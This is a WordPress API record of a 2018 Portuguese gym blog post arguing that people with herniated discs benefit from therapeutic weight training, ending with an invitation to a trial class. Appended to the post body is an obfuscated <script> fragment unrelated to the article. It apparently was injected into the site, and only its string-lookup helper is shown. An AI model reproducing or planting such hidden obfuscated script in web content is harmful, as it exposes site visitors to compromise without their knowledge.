{"id":535,"date":"2018-11-01T13:28:16","date_gmt":"2018-11-01T16:28:16","guid":{"rendered":"http:\/\/renovamaringa.com.br\/portal\/?p=535"},"modified":"2018-11-01T13:28:16","modified_gmt":"2018-11-01T16:28:16","slug":"quem-tem-hernia-de-disco-pode-fazer-musculacao","status":"publish","type":"post","link":"https:\/\/renovamaringa.com.br\/portal\/quem-tem-hernia-de-disco-pode-fazer-musculacao\/","title":{"rendered":"Quem tem hernia de disco pode fazer muscula\u00e7\u00e3o?"},"content":{"rendered":"<p>Pessoas com discopatia (h\u00e9rnia de disco) ficam mais protegidas quando a musculatura \u00e9 forte. Pois Com o processo de desgaste o disco intervertebral perde altura e aumenta os seus di\u00e2metros horizontais, caracterizando uma protus\u00e3o discal. Com isso ocorre instabilidade da coluna vertebral, com sobrecarga dos ligamentos e dor.<\/p>\n<p>A dor da coluna costuma gerar reflexos de contratura muscular dolorosa e muitas vezes \u00e9 sentida \u00e0 dist\u00e2ncia, como por exemplo, a coluna cervical pode gerar dor nos ombros e bra\u00e7os, e a coluna lombar pode produzir dor nos quadris e ci\u00e1tico.<\/p>\n<p><strong>Por este motivo \u00e9 indicado a pratica de muscula\u00e7\u00e3o terap\u00eautica nas discopatias para fortalecimento da musculatura e consequentemente alivio das dores.<br \/>\n<\/strong><strong>Pensando no seu bem estar, n\u00f3s trazemos um novo conceito em Muscula\u00e7\u00e3o adaptada para o tratamento desta e outras les\u00f5es.<br \/>\nMarque sua aula experimental, sem compromisso e venha conhecer!<\/strong><br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Pessoas com discopatia (h\u00e9rnia de disco) ficam mais protegidas quando a musculatura \u00e9 forte. Pois Com o processo de desgaste o disco intervertebral perde altura e aumenta os seus di\u00e2metros horizontais, caracterizando<a class=\"moretag\" href=\"https:\/\/renovamaringa.com.br\/portal\/quem-tem-hernia-de-disco-pode-fazer-musculacao\/\">Read More&#8230;<\/a><\/p>\n","protected":false},"author":1,"featured_media":536,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[4],"tags":[],"class_list":["post-535","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-dicas"],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/renovamaringa.com.br\/portal\/wp-content\/uploads\/2018\/11\/academia-terceira-idade-maring%C3%A1.jpg?fit=900%2C636&ssl=1","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p8NC8B-8D","jetpack-related-posts":[],"jetpack_likes_enabled":true,"_links":{"self":[{"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/posts\/535","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/comments?post=535"}],"version-history":[{"count":1,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/posts\/535\/revisions"}],"predecessor-version":[{"id":537,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/posts\/535\/revisions\/537"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/media\/536"}],"wp:attachment":[{"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/media?parent=535"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/categories?post=535"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/tags?post=535"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}